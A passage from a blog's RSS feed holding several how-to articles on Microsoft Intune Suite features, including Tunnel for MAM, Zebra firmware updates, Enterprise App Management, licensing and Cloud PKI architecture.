<h3 id="configuration" tabindex="-1">Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;Configuration&quot;">&ZeroWidthSpace;</a></h3>
<p>Tunnel for MAM uses the <strong>Microsoft Tunnel Gateway</strong> and has therefore the same requirements you can find <a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-prerequisites" target="_blank" rel="noreferrer">here</a>.<br>
Once <span style="color:crimson">Microsoft Tunnel</span> is up and running, you’ll just need to add <span style="color:crimson">two app configuration policies</span> and an <span style="color:crimson">app protection policy</span> to get <strong>Tunnel for MAM</strong> working.</p>
<p><u>Microsoft Tunnel configuration</u></p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>This will only be a brief overview of the Microsoft Tunnel configuration, as it is a prerequisite for Tunnel for MAM, but is a separate feature.</p>
</div>
<p>To start the Configuration you need to open the <strong>Intune admin center</strong> &rarr; <strong>Tenant administration</strong> &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/TenantAdminMenu/~/microsoftTunnelGateway" target="_blank" rel="noreferrer">Microsoft Tunnel Gateway</a><br>
Here you can create the nessecary settings for <span style="color:crimson">Server configurations</span>, <span style="color:crimson">Sites</span> and <span style="color:crimson">Servers</span>.</p>
<img src="\intune\suite\add_tunnel_config.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<p>The following steps are required to create a Microsoft Tunnel:</p>
<ol>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-configure#to-create-a-server-configuration" target="_blank" rel="noreferrer">Create a Server configuration</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-configure#to-create-a-site-configuration" target="_blank" rel="noreferrer">Create a Site configuration</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-configure#use-the-script-to-install-microsoft-tunnel" target="_blank" rel="noreferrer">Install Microsoft Tunnel with a script on your Linux Server</a></li>
</ol>
<div class="warning custom-block github-alert"><p class="custom-block-title">WARNING</p>
<p>In order to use the Microsoft tunnel on your Android or iOS/iPadOS device, you will need the Defender for Endpoint app, as this acts as the tunnel client.
For <b>Tunnel for MAM</b> the Defender App is only needed on Android devices. iOS uses a SDK integration for that and does not need the App (Learn more <a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-mam#platform-requirements-and-feature-overview" target="_blank" rel="noreferrer">here</a>).
In addition, you will need to create a VPN profile in your device settings and custom app settings for the Defender for Endpoint app to direct it to use the tunnel.
You can find more information on how to do this here:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-configure#deploy-the-microsoft-tunnel-client-app" target="_blank" rel="noreferrer">Deploy the Microsoft Tunnel client app</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-configure#create-a-vpn-profile" target="_blank" rel="noreferrer">Create a VPN profile</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-configure#use-custom-settings-for-microsoft-defender-for-endpoint" target="_blank" rel="noreferrer">Use custom settings for Microsoft Defender for Endpoint</a></li>
</ul>
</div>
<p><u>App configuration and protection policies</u></p>
<p>The next step is to create the App configuration and protection policies so that we can extend the Microsoft Tunnel Gateway to MAM Apps (not enrolled devices).</p>
<ol>
<li>Open the <strong>Intune admin center</strong> &rarr; <strong>Apps</strong></li>
<li>Here you find the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/AppsMenu/~/configuration" target="_blank" rel="noreferrer">Configuration</a> and <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/AppsMenu/~/protection" target="_blank" rel="noreferrer">Protection</a> blades where you can create the coresponding policies.</li>
</ol>
<p>You can find a Step-by-Step Guide to create the Android policies and iOS policies on the Microsoft Learn Page.</p>
<ul>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-mam-android#app-configuration-policy-for-microsoft-defender" target="_blank" rel="noreferrer">Android - App configuration for Defender</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-mam-android#app-configuration-policy-for-microsoft-edge" target="_blank" rel="noreferrer">Android - App configuration for Edge</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-mam-android#app-protection-policy-for-microsoft-edge" target="_blank" rel="noreferrer">Android - App protection for Edge</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-mam-ios#configure-an-app-configuration-policy-for-lob-apps" target="_blank" rel="noreferrer">iOS - App configuration for LOB apps (Tunnel for MAM SDK)</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-mam-ios#configure-an-app-configuration-policy-for-microsoft-edge" target="_blank" rel="noreferrer">iOS - App configuration for Edge</a></li>
<li><a href="https://learn.microsoft.com/en-gb/intune/intune-service/protect/microsoft-tunnel-mam-ios#configure-an-app-protection-policy" target="_blank" rel="noreferrer">iOS - App protection</a></li>
</ul>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>You can also find an <strong>interactive Demo</strong> on the Learn page, that not only shows you how to create the settings, but also how it looks on the mobile OS.</p>
<ul>
<li><a href="https://regale.cloud/Microsoft/viewer/1896/microsoft-tunnel-for-mobile-application-management-for-android/index.html#/0/0" target="_blank" rel="noreferrer">Microsoft Tunnel for Mobile Application Management for Android</a></li>
<li><a href="https://regale.cloud/Microsoft/viewer/1976/microsoft-tunnel-for-mobile-application-management-for-ios-ipados/index.html#/0/0" target="_blank" rel="noreferrer">Microsoft Tunnel for Mobile Application Management for iOS/iPadOS</a></li>
</ul>
</div>
<h3 id="references" tabindex="-1">References <a class="header-anchor" href="#references" aria-label="Permalink to &quot;References&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li><a href="https://learn.microsoft.com/en-gb/mem/intune/protect/microsoft-tunnel-mam" target="_blank" rel="noreferrer">Microsoft Learn - Microsoft Tunnel for Mobile Application Management</a></li>
<li><a href="https://www.youtube.com/watch?v=-s_tBW_XQu0" target="_blank" rel="noreferrer">Youtube - Microsoft Intune Tunnel for Mobile Application Management</a></li>
</ul>
<h2 id="firmware-over-the-air-update" tabindex="-1">☁️ Firmware over-the-air update <a class="header-anchor" href="#firmware-over-the-air-update" aria-label="Permalink to &quot;:cloud: Firmware over-the-air update&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="introduction-1" tabindex="-1">Introduction <a class="header-anchor" href="#introduction-1" aria-label="Permalink to &quot;Introduction&quot;">&ZeroWidthSpace;</a></h3>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p><strong>Firmware over-the-air update</strong> supports currently only <span style="color:crimson">Zebra LifeGuard for Android</span>.</p>
</div>
<p><strong>Zebra LifeGuard Over-the-Air (LG OTA) Integration with Microsoft Intune</strong> is a feature that allows organizations to manage firmware updates for Zebra Android devices directly through the Intune.
This integration helps with single pane of glass management and simplifies hands-free, automated deployment of updates.</p>
<h3 id="how-to-set-it-up" tabindex="-1">How to set it up? <a class="header-anchor" href="#how-to-set-it-up" aria-label="Permalink to &quot;How to set it up?&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li>Step 1: <a href="https://learn.microsoft.com/en-gb/mem/intune/protect/zebra-lifeguard-ota-integration#step-1-set-up-zebra-connector" target="_blank" rel="noreferrer">Set up Zebra Connector</a></li>
<li>Step 2: <a href="https://learn.microsoft.com/en-gb/mem/intune/protect/zebra-lifeguard-ota-integration#step-2-enroll-devices-with-zebra-lg-ota-service" target="_blank" rel="noreferrer">Enroll Devices with Zebra LG OTA Service</a></li>
<li>Step 3: <a href="https://learn.microsoft.com/en-gb/mem/intune/protect/zebra-lifeguard-ota-integration#step-3-create-and-assign-deployments" target="_blank" rel="noreferrer">Create and Assign Deployments</a></li>
<li>Step 4: <a href="https://learn.microsoft.com/en-gb/mem/intune/protect/zebra-lifeguard-ota-integration#step-4-view-and-manage-deployments" target="_blank" rel="noreferrer">View and Manage Deployments</a></li>
</ul>
<img src="\intune\suite\add_zebra.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<h3 id="references-1" tabindex="-1">References <a class="header-anchor" href="#references-1" aria-label="Permalink to &quot;References&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li><a href="https://learn.microsoft.com/en-gb/mem/intune/protect/zebra-lifeguard-ota-integration" target="_blank" rel="noreferrer">Zebra LifeGuard Over-the-Air Integration with Microsoft Intune - Microsoft Learn</a></li>
<li><a href="https://www.youtube.com/watch?v=0HbO0NiuXYw" target="_blank" rel="noreferrer">Zebra's LifeGuard for Android™ Product Video - YouTube</a></li>
<li><a href="https://techdocs.zebra.com/lifeguard/about/" target="_blank" rel="noreferrer">Zebra Documentation</a></li>
</ul>
<h2 id="support-for-specialty-devices" tabindex="-1">📺 Support for specialty devices <a class="header-anchor" href="#support-for-specialty-devices" aria-label="Permalink to &quot;:tv: Support for specialty devices&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="introduction-2" tabindex="-1">Introduction <a class="header-anchor" href="#introduction-2" aria-label="Permalink to &quot;Introduction&quot;">&ZeroWidthSpace;</a></h3>
<p>Intune Suite’s Support for Specialty Devices makes it easier to manage and secure things like AR/VR headsets, large smart screens, and certain meeting room devices.</p>
<p>IT administrators can use this support to ensure that these devices are secure and compliant with organisational policies.
Features include device provisioning, certificate and Wi-Fi management, Conditional Access, device compliance, app lifecycle management and remote actions.</p>
<h3 id="how-does-it-work" tabindex="-1">How does it work? <a class="header-anchor" href="#how-does-it-work" aria-label="Permalink to &quot;How does it work?&quot;">&ZeroWidthSpace;</a></h3>
<p>You can enrol the following devices using the Company Portal App or via web enrolment:</p>
<ul>
<li>AR / VR headsets</li>
<li>large smart-screen devices</li>
<li>select conference room meeting devices (additional teams room pro licences are required usually)</li>
</ul>
<h3 id="references-2" tabindex="-1">References <a class="header-anchor" href="#references-2" aria-label="Permalink to &quot;References&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li><a href="https://learn.microsoft.com/en-gb/mem/intune/fundamentals/specialty-devices-with-intune" target="_blank" rel="noreferrer">Managing specialty devices with Microsoft Intune - Microsoft Learn</a></li>
<li><a href="https://www.youtube.com/watch?v=YTNuKXIni38" target="_blank" rel="noreferrer">Microsoft Management of Specialty Devices - YouTube</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enterprise Application Management | Intune Suite | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/intune_suite/enterprise_app_management.html</link>
            <guid>https://michaelsendpoint.com/intune/intune_suite/enterprise_app_management.html</guid>
            <pubDate>Sun, 07 Dec 2025 11:49:50 GMT</pubDate>
            <description><![CDATA[Learn how Enterprise Application Management in Microsoft Intune simplifies deployment and updates of Win32 apps using the Enterprise App Catalog.]]></description>
            <content:encoded><![CDATA[<img src="\intune\suite\banner.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h1 id="enterprise-application-management" tabindex="-1">Enterprise Application Management <a class="header-anchor" href="#enterprise-application-management" aria-label="Permalink to &quot;Enterprise Application Management&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Enterprise Application Management (EAM) makes it super simple to deploy and keep your Win32 apps up to date using the Enterprise App Catalog.
Instead of manually packaging and updating apps yourself, you get access to a catalog of popular Microsoft and third-party apps that are already prepped and maintained by Microsoft.
No more worrying about packaging, testing, or chasing updates.</p>
<p>Everything is managed right from Intune, so you can deploy and update apps from one place.
It saves your IT team a ton of time and helps to keep your apps on the latest versions.
Plus, Microsoft keeps adding new features and more apps to make things even easier.</p>
<p><u>Features:</u></p>
<ul>
<li><strong>App management:</strong> Quickly find and add apps from the Intune Portal without manual packaging needed.</li>
<li><strong>Latest apps:</strong> New app versions are added automatically, and you can track updates in the catalog report.</li>
</ul>
<p>When you add an app from the Enterprise App Catalog, Intune prefills the the follwing installation details for you:</p>
<ul>
<li>install/uninstall commands</li>
<li>install time and restart behavior</li>
<li>uninstall and error behavior</li>
<li>detection rules and requirements</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Prepopulated fields can be modified if needed.</p>
</div>
<h2 id="prerequisites" tabindex="-1">✅ Prerequisites <a class="header-anchor" href="#prerequisites" aria-label="Permalink to &quot;:white_check_mark: Prerequisites&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li>64-bit versions of Windows</li>
<li>Endpoints need to reach <code>*.manage.microsoft.com</code></li>
<li>Intune suite license, Enterprise Application Management standalone license or Microsoft 365 E5 license</li>
</ul>
<h2 id="adding-an-app-with-eam" tabindex="-1">📱 Adding an app with EAM <a class="header-anchor" href="#adding-an-app-with-eam" aria-label="Permalink to &quot;:iphone: Adding an app with EAM&quot;">&ZeroWidthSpace;</a></h2>
<ol>
<li>Open the Intune admin center &rarr; Apps &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/AppsWindowsMenu/~/windowsApps" target="_blank" rel="noreferrer">Windows</a> and then click <code>Create</code>.</li>
<li>Select the 'App type' <strong>Enterprise App Catalog app</strong> and click <code>Select</code>.</li>
</ol>
<img src="\intune\suite\app_app-type.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="3">
<li>In the 'App information' select <code>Search the Enterprise App Catalog</code> and then search for your app and click <code>Next</code>.</li>
</ol>
<img src="\intune\suite\app_search.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="4">
<li>In the Configuration tap you will now get a list of the available Versions. Select the one you want and click <code>Select</code>.</li>
</ol>
<img src="\intune\suite\app_config.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="5">
<li>Now you will get back to the Intune App Configuration screen you know, but with all details prepopulated for the app you selected.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\suite\app_create1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\intune\suite\app_create2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\suite\app_create3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></td>
<td><img src="\intune\suite\app_create4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></td>
</tr>
</tbody>
</table>
<ol start="6">
<li>You just need to add the <strong>assignment</strong> and you are done.</li>
</ol>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p></p>
<ul>
<li>
<p>You can recognize apps deployed through EAM by their app type <span style="color:crimson">Windows catalog app (Win32)</span>.
<img src="\intune\suite\app_type.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></p>
</li>
<li>
<p>You can find a complete list of available Apps in the Enterprise App Catalog <a href="https://learn.microsoft.com/en-us/intune/intune-service/apps/apps-enterprise-app-management#apps-available-in-the-enterprise-app-catalog" target="_blank" rel="noreferrer">here</a>.</p>
</li>
<li>
<p>Microsoft adds constantly more Apps and has the Goal to get to several thousand apps.</p>
</li>
</ul>
</div>
<h2 id="updating-an-app-with-eam" tabindex="-1">📲 Updating an app with EAM <a class="header-anchor" href="#updating-an-app-with-eam" aria-label="Permalink to &quot;:calling: Updating an app with EAM&quot;">&ZeroWidthSpace;</a></h2>
<p>When you open an app created with EAM, you can update it directly using the <code>Update</code> button.
If the app is already on the latest version, an info banner will notify you.</p>
<p>Clicking the <code>Update</code> button starts a new app creation process, automatically populating the details for the newer version, just like when you first created the app.
Only this time the <strong>'Supersedence'</strong> section is filled in as well, with information about the older version of the app.</p>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>If you intentionally install an older version of an app, EAM will display a banner indicating it is the latest version, since you specifically chose that version.
To update to a newer version later, you will need to create a new app manually.</p>
</div>
<img src="\intune\suite\app_update.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<hr>
<p>If you select the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Apps/AppCatalogUpdate.ReactView" target="_blank" rel="noreferrer">Enterprise App Catalog with updates</a> button on the <strong>Overview</strong> page, you will find a report with all the EAM apps that can be updated. You can initiate the update process directly through the report, via the <code>...</code> on the right side.</p>
<img src="\intune\suite\app_overview_update.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<img src="\intune\suite\app_updates.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em; border: 1px solid grey" alt="drawing" width="900" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Enterprise Application Management takes the hassle out of app deployment and updates, letting you focus on what matters most.
With the Enterprise App Catalog, you get a growing list of ready-to-go apps, all managed right from Intune.
As Microsoft keeps adding new features and apps, managing software across your organization just keeps getting easier.
It’s a real time-saver for IT teams and helps keep everyone up to date—no more chasing down the latest versions!</p>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>Microsoft is activly working on a ton of new features for EAM and gets better all the time.
You can find the currently publicly known developments in the official Microsoft Blog <a href="https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/in-development" target="_blank" rel="noreferrer">here</a>.</p>
<p><u>Example:</u><br>
The <a href="https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/in-development#add-enterprise-app-catalog-apps-to-esp-blocking-apps-list" target="_blank" rel="noreferrer">Add Enterprise App Catalog apps to ESP blocking apps list</a> feature, will help IT admins to manage apps in both the old and new Autopilot profiles. This update simplifies app updates without needing to modify profiles for new versions.</p>
</div>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What is the Intune Suite? | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/intune_suite/intune_suite.html</link>
            <guid>https://michaelsendpoint.com/intune/intune_suite/intune_suite.html</guid>
            <pubDate>Sun, 07 Dec 2025 11:49:50 GMT</pubDate>
            <description><![CDATA[Learn about the Microsoft Intune Suite, its key features, and how it enhances device management, security, and support capabilities for organizations using Microsoft Intune.]]></description>
            <content:encoded><![CDATA[<img src="\intune\suite\banner.png" style="float: normal; margin-right: 1em; margin-left: 2em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>The Microsoft <span style="color:crimson">Intune Suite</span> is a set off 8 add-on capabilities that build on top of the current Intune ecosystem to enhance and complete the already vast feature set.
You can purchase the <span style="color:crimson">Intune Suite</span> as a bundle license on top of Intune itself or as separate licenses for each capability.
In addition, some Microsoft 365 plans also include Intune Suite features.</p>
<table>
<thead>
<tr>
<th>Capability</th>
<th>Standalone add-on</th>
<th>Intune Plan 2</th>
<th>Intune Suite</th>
<th>M365 E3</th>
<th>M365 E5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Endpoint Privilege Management</td>
<td>✅</td>
<td>❌</td>
<td>✅</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Enterprise App Management</td>
<td>✅</td>
<td>❌</td>
<td>✅</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Advanced Analytics</td>
<td>✅</td>
<td>❌</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Remote Help</td>
<td>✅</td>
<td>❌</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Microsoft Tunnel for Mobile Application Management</td>
<td>❌</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Microsoft Cloud PKI</td>
<td>✅</td>
<td>❌</td>
<td>✅</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Firmware-over-the-air update</td>
<td>❌</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Specialized devices management</td>
<td>❌</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
<td>✅</td>
</tr>
</tbody>
</table>
<h2 id="features" tabindex="-1">📜 Features <a class="header-anchor" href="#features" aria-label="Permalink to &quot;:scroll: Features&quot;">&ZeroWidthSpace;</a></h2>
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Endpoint Privilege Management</td>
<td>Enables users to run with least privilege while allowing approved tasks to elevate.</td>
</tr>
<tr>
<td>Enterprise App Management</td>
<td>Provides a catalog of Win32 apps in Intune with default install, requirements, and detection settings prefilled.</td>
</tr>
<tr>
<td>Advanced Analytics</td>
<td>Analytics-driven tools to help IT admins monitor and improve end-user experience.</td>
</tr>
<tr>
<td>Remote Help</td>
<td>Secure, cloud-based help desk tool with role-based access for remote support.</td>
</tr>
<tr>
<td>Microsoft Tunnel for Mobile Application Management</td>
<td>Extends Microsoft Tunnel VPN to support unenrolled Android and iOS devices for secure app access.</td>
</tr>
<tr>
<td>Cloud PKI</td>
<td>Delivers a managed cloud-based PKI for automated certificate issuance, renewal, and revocation across all Intune-supported platforms.</td>
</tr>
<tr>
<td>Firmware-over-the-air updates</td>
<td>Zebra LifeGuard Over-the-Air Integration with Microsoft Intune</td>
</tr>
<tr>
<td>Specialized devices management</td>
<td>Manage and secure purpose-built devices like AR/VR headsets, smart screens, and meeting room devices.</td>
</tr>
</tbody>
</table>
<h2 id="is-it-worth-it" tabindex="-1">💸 Is it worth it? <a class="header-anchor" href="#is-it-worth-it" aria-label="Permalink to &quot;:money_with_wings: Is it worth it?&quot;">&ZeroWidthSpace;</a></h2>
<p>Whether the Intune Suite is worth the investment depends on your organization's needs.
If you require advanced device management, streamlined app deployment, enhanced security, and remote support capabilities, the suite offers significant value by consolidating these features into a single platform.
For organizations already using Microsoft 365 and got the licenses, the suite is a no brainer since it is now included in the main M365 plans (E3 and E5).</p>
<p>However, if you don't need these features, or if you already have alternative solutions in place and you do not use M365 Enterprise licenses, the additional cost in licenses may not be justified, but it could be well worth checking out and comparing costs with your current solution.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud PKI | Intune Suite | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/intune_suite/microsoft_cloud_pki.html</link>
            <guid>https://michaelsendpoint.com/intune/intune_suite/microsoft_cloud_pki.html</guid>
            <pubDate>Sun, 07 Dec 2025 11:49:50 GMT</pubDate>
            <description><![CDATA[This article explores how Intune Cloud PKI simplifies certificate management by providing a cloud-based, scalable solution for secure device and user authentication without the need for on-premises infrastructure.]]></description>
            <content:encoded><![CDATA[<img src="\intune\suite\banner.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h1 id="microsoft-cloud-pki" tabindex="-1">Microsoft Cloud PKI <a class="header-anchor" href="#microsoft-cloud-pki" aria-label="Permalink to &quot;Microsoft Cloud PKI&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Public Key Infrastructure (PKI) is a framework that uses digital certificates to authenticate identities and secure communications between devices and services.
PKI can be used for protecting access for example to VPN, Wi-Fi, email, web access or devices, but a traditional PKI can be complex and resource-intensive, often requiringing a whole on-premise environment.</p>
<p>Microsoft Cloud PKI, part of the Intune Suite, delivers a <span style="color:crimson">fully cloud-based solution</span> that automates certificate issuance, renewal, and revocation.
By eliminating the need for on-premises infrastructure, Cloud PKI simplifies <span style="color:crimson">certificate lifecycle management</span> across all supported platforms, making it easier for organizations to secure their environments at scale.
This article provides an overview of Microsoft Cloud PKI, its core functionality, and its architecture.</p>
<p><u>Cloud PKI Features</u></p>
<table>
<thead>
<tr>
<th style="text-align:left">Feature</th>
<th style="text-align:left">Overview</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Multiple CAs per tenant</td>
<td style="text-align:left">Create a two-tier PKI hierarchy (root and issuing CA) fully in the cloud.</td>
</tr>
<tr>
<td style="text-align:left">Bring Your Own CA (BYOCA)</td>
<td style="text-align:left">Chain an Intune Issuing CA to your existing private CA (Microsoft or non-Microsoft), supporting external multi-tier hierarchies.</td>
</tr>
<tr>
<td style="text-align:left">Signing &amp; encryption algorithms</td>
<td style="text-align:left">Supports RSA (2048, 3072, 4096-bit keys).</td>
</tr>
<tr>
<td style="text-align:left">Hash algorithms</td>
<td style="text-align:left">Supports SHA-256, SHA-384, SHA-512.</td>
</tr>
<tr>
<td style="text-align:left">HSM-backed keys</td>
<td style="text-align:left">CAs use Azure Managed HSM for key protection (no Azure subscription needed with Intune Suite/Cloud PKI license).</td>
</tr>
<tr>
<td style="text-align:left">Certificate registration authority</td>
<td style="text-align:left">Built-in SCEP registration authority for each Cloud PKI Issuing CA.</td>
</tr>
<tr>
<td style="text-align:left">CRL distribution</td>
<td style="text-align:left">Intune hosts CRL endpoints - CRLs valid for 7 days, refreshed every 3.5 days, updated on revocation.</td>
</tr>
<tr>
<td style="text-align:left">AIA endpoints</td>
<td style="text-align:left">Intune hosts AIA endpoints for parent certificate retrieval.</td>
</tr>
<tr>
<td style="text-align:left">End-entity certificate issuance</td>
<td style="text-align:left">Issues SCEP (PKCS#7) certificates to Intune-enrolled devices.</td>
</tr>
<tr>
<td style="text-align:left">Certificate lifecycle management</td>
<td style="text-align:left">Issue, renew, and revoke certificates.</td>
</tr>
<tr>
<td style="text-align:left">Reporting dashboard</td>
<td style="text-align:left">Monitor certificate status and revoke certificates in the Intune admin center (updated daily).</td>
</tr>
<tr>
<td style="text-align:left">Auditing</td>
<td style="text-align:left">Track admin actions (create, revoke, search) in Intune.</td>
</tr>
<tr>
<td style="text-align:left">RBAC permissions</td>
<td style="text-align:left">Custom roles for Cloud PKI management (read, create, revoke, disable/enable CAs).</td>
</tr>
<tr>
<td style="text-align:left">Scope tags</td>
<td style="text-align:left">Assign, edit, or remove scope tags for CAs.</td>
</tr>
</tbody>
</table>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Be aware the trial CAs use software-based RSA keys and you can not change that even after purchasing a license. You need to create a new CA after that.</p>
</div>
<h2 id="prerequisites" tabindex="-1">✅ Prerequisites <a class="header-anchor" href="#prerequisites" aria-label="Permalink to &quot;:white_check_mark: Prerequisites&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li><b>Supported platforms:</b> Android, iOS/iPadOS, macOS, Windows (devices must be Intune-enrolled and support SCEP certificate profiles)</li>
<li><b>Licensing:</b> Microsoft Intune Suite license, Microsoft Cloud PKI standalone add-on license <strong>or</strong> Microsoft 365 E5 license</li>
<li><b>Permissions:</b> Assigned Intune role permissions
<ul>
<li>Read certificate authorities (CAs)</li>
<li>Create root or issuing CAs</li>
<li>Revoke issued leaf certificates (requires read CA permission)</li>
</ul>
</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>For more information about configuring custom roles and scope tags in Intune, refer to <a href="https://learn.microsoft.com/en-us/mem/intune/fundamentals/role-based-access-control" target="_blank" rel="noreferrer">Role-based access control with Microsoft Intune</a>.</p>
</div>
<h2 id="architecture-flow" tabindex="-1">🌊 Architecture &amp; Flow <a class="header-anchor" href="#architecture-flow" aria-label="Permalink to &quot;:ocean: Architecture &amp; Flow&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft Cloud PKI issues certificates using SCEP with it's cloud-based CA and registration authority.</p>
<img src="\intune\suite\pki_architecture.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The certificate registration authority consists of B2 and B3 in the architecture.</p>
</div>
<p><u>Preperations in Intune (B1, B2 &amp; B3):</u></p>
<ul>
<li>Create Cloud PKI root and issuing CAs.</li>
<li>Assign trusted certificate profiles for both CAs.</li>
<li>Assign platform-specific SCEP certificate profiles.</li>
</ul>
<p><u>Arcitecture flow:</u></p>
<p>A1. Device checks in and receives certificate/SCEP profiles.<br>
A2. Device generates a private key and CSR, sends to SCEP service.<br>
A3. SCEP service validates the request.<br>
A4. Registration authority requests issuing CA to sign the CSR.<br>
A5. Device receives the signed certificate.<br></p>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>The SCEP challenge is encrypted and signed by Intune to ensure secure certificate requests.</p>
</div>
